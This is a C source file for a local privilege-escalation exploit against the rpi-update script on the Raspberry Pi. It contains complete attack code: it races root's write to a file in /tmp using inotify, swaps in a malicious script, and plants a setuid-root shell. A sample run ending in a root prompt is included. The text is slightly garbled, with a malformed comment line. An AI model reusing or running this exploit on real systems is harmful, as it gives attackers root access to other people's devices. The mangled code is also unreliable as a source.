/*Local root exploit for rpi-update on raspberry Pi. Vulnerability discovered by Technion, technion@lolware.net

https://github.com/Hexxeh/rpi-update/

larry@pih0le:~$ ./rpix updateScript.sh
[*] Launching attack against "updateScript.sh" [+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/updateScript.sh) [+] Initialize inotify on /tmp/updateScript.sh [+] Waiting for root to change perms on "updateScript.sh" [+] Opening root shell (/tmp/sh)
# <-- Yay!

Larry W. Cashdollar
http://vapid.dhs.org
@_larry0

Greets to Vladz.
*/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/Create a small c program to pop us a root shell/ int create_nasty_shell(char *file) {
char *s = "#!/bin/bash\n"

            "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n"
            "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
            "chmod 4755 /tmp/sh;\n";

int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); write(fd, s, strlen(s));
close(fd);

return 0;
}

int main(int argc, char **argv) {
int fd, wd;
char buf[1], *targetpath, *cmd,

*evilsh = "/tmp/evil", *trash = "/tmp/trash";

if (argc < 2) {
printf("Usage: %s <target file> \n", argv[0]); return 1;
}

printf("[*] Launching attack against \"%s\"\n", argv[1]);

printf("[+] Creating evil script (/tmp/evil)\n"); create_nasty_shell(evilsh);

targetpath = malloc(sizeof(argv[1]) + 32); cmd = malloc(sizeof(char) * 32);
sprintf(targetpath, "/tmp/%s", argv[1]); sprintf(cmd,"/usr/bin/touch %s",targetpath); printf("[+] Creating target file (%s)\n",cmd); system(cmd);

printf("[+] Initialize inotify on %s\n",targetpath); fd = inotify_init();
wd = inotify_add_watch(fd, targetpath, IN_MODIFY);

printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]); syscall(SYS_read, fd, buf, 1);
syscall(SYS_rename, targetpath, trash); syscall(SYS_rename, evilsh, targetpath);

inotify_rm_watch(fd, wd);

printf("[+] Opening root shell (/tmp/sh)\n"); sleep(2);
system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\"");

return 0;
}